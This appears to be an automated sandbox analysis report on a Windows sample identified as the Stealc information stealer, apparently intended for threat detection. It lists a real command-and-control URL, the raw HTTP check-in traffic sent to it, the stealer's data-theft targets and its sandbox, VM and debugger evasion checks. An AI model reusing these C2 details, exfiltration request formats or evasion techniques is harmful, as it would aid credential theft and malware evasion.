Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525191
MD5:	edecdb123ba6a0d389ff9b2993754c49
SHA1:	d27897486ab7cd802f52731b1e98b9b463854fc0
SHA256:	c1af8de0dbb010738eacb3fa66d5c3f1ea70ce1c480ac116ccd6bbfec781b1d1
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5588 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EDECDB123BA6A0D389FF9B2993754C49)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2052957198.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5588	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5588	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.460000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T20:46:02.261931+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.460000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0046C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00467240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00467240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00469AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00469AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00469B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00469B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00478EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00478EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00474910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00474910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0046DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0046E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00474570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00474570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0046ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0046BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0046DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046F68A FindFirstFileA,	0_2_0046F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00473EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00473EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0046F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 46 45 44 30 37 44 31 37 30 45 31 38 34 35 31 35 30 30 37 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"DDFED07D170E1845150070------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"doma------GIEBAECAKKFCBFIEGCBK--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00464880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00464880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 46 45 44 30 37 44 31 37 30 45 31 38 34 35 31 35 30 30 37 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"DDFED07D170E1845150070------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"doma------GIEBAECAKKFCBFIEGCBK--

Source: file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2094357724.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094357724.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2094357724.0000000000EE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094357724.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094357724.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2094357724.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37a

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095	0_2_0082E095
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FE859	0_2_006FE859
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00815178	0_2_00815178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CF201	0_2_007CF201
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C8A9E	0_2_007C8A9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072FB7E	0_2_0072FB7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008273D5	0_2_008273D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00834CDE	0_2_00834CDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082FC7E	0_2_0082FC7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082C50D	0_2_0082C50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007866B3	0_2_007866B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00833654	0_2_00833654
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082979E	0_2_0082979E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0072B754	0_2_0072B754
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D7FEC	0_2_006D7FEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083175A	0_2_0083175A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E3F62	0_2_008E3F62

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004645C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nqjulsar ZLIB complexity 0.9948356094479005

Source: file.exe, 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2052957198.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00479600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00479600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00473720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00473720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Q9XDFATE.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1802752 > 1048576

Source: file.exe

Static PE information: Raw size of nqjulsar is bigger than: 0x100000 < 0x191e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.460000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nqjulsar:EW;snoulpuy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nqjulsar:EW;snoulpuy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00479860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00479860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1bc2d6 should be: 0x1bae13

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nqjulsar
Source: file.exe	Static PE information: section name: snoulpuy
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8882 push eax; mov dword ptr [esp], edx	0_2_008F88A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8882 push 4303AB69h; mov dword ptr [esp], eax	0_2_008F88C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 1A2CFDA4h; mov dword ptr [esp], esi	0_2_0082E0B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 36CD470Dh; mov dword ptr [esp], ebp	0_2_0082E164
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 46D248A3h; mov dword ptr [esp], eax	0_2_0082E19A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 17D96FC9h; mov dword ptr [esp], ecx	0_2_0082E1C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 7A07E277h; mov dword ptr [esp], ecx	0_2_0082E207
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebx; mov dword ptr [esp], ecx	0_2_0082E2DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 13B4F4DDh; mov dword ptr [esp], eax	0_2_0082E3AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebp; mov dword ptr [esp], 482AC16Bh	0_2_0082E436
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push edx; mov dword ptr [esp], ebp	0_2_0082E481
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 3A46DA51h; mov dword ptr [esp], ebp	0_2_0082E4A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 18FB8425h; mov dword ptr [esp], esi	0_2_0082E5A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 14947EE4h; mov dword ptr [esp], ecx	0_2_0082E68C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebp; mov dword ptr [esp], eax	0_2_0082E6F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ecx; mov dword ptr [esp], esi	0_2_0082E711
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push eax; mov dword ptr [esp], 27FE0277h	0_2_0082E843
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push esi; mov dword ptr [esp], edx	0_2_0082E8BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 032DE914h; mov dword ptr [esp], eax	0_2_0082E8CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 7BA50680h; mov dword ptr [esp], esp	0_2_0082E94B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push eax; mov dword ptr [esp], ecx	0_2_0082E9C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 160D26C3h; mov dword ptr [esp], ecx	0_2_0082EA07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebx; mov dword ptr [esp], ecx	0_2_0082EA4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push edx; mov dword ptr [esp], esi	0_2_0082EADB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push edx; mov dword ptr [esp], 56DD6B87h	0_2_0082EADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 57B96900h; mov dword ptr [esp], esi	0_2_0082EB2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebx; mov dword ptr [esp], 0C8463B8h	0_2_0082EB6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push edi; mov dword ptr [esp], 75B4F840h	0_2_0082EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ebp; mov dword ptr [esp], edi	0_2_0082EC27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push 3B1621C9h; mov dword ptr [esp], ecx	0_2_0082EC74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E095 push ecx; mov dword ptr [esp], esi	0_2_0082ED0F

Source: file.exe

Static PE information: section name: nqjulsar entropy: 7.953541884791292

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00479860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13746

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1B39 second address: 6C1B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1B3F second address: 6C1B44 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838D95 second address: 838D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838D9E second address: 838DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839341 second address: 839364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F57D451A1B6h 0x0000000a jne 00007F57D451A1B6h 0x00000010 popad 0x00000011 push ecx 0x00000012 jnp 00007F57D451A1B6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jno 00007F57D451A1B6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839364 second address: 839377 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F57D4F134D6h 0x00000008 ja 00007F57D4F134D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C2A2 second address: 6C1B39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+122D1BA2h] 0x0000000e push dword ptr [ebp+122D06B5h] 0x00000014 movsx ecx, bx 0x00000017 call dword ptr [ebp+122D2B51h] 0x0000001d pushad 0x0000001e cmc 0x0000001f xor eax, eax 0x00000021 jo 00007F57D451A1C7h 0x00000027 jmp 00007F57D451A1C1h 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 pushad 0x00000031 mov ebx, eax 0x00000033 mov esi, dword ptr [ebp+122D3A3Ah] 0x00000039 popad 0x0000003a mov dword ptr [ebp+122D396Ah], eax 0x00000040 sub dword ptr [ebp+122D24E2h], ebx 0x00000046 mov esi, 0000003Ch 0x0000004b mov dword ptr [ebp+122D18C9h], ecx 0x00000051 jmp 00007F57D451A1BAh 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a stc 0x0000005b pushad 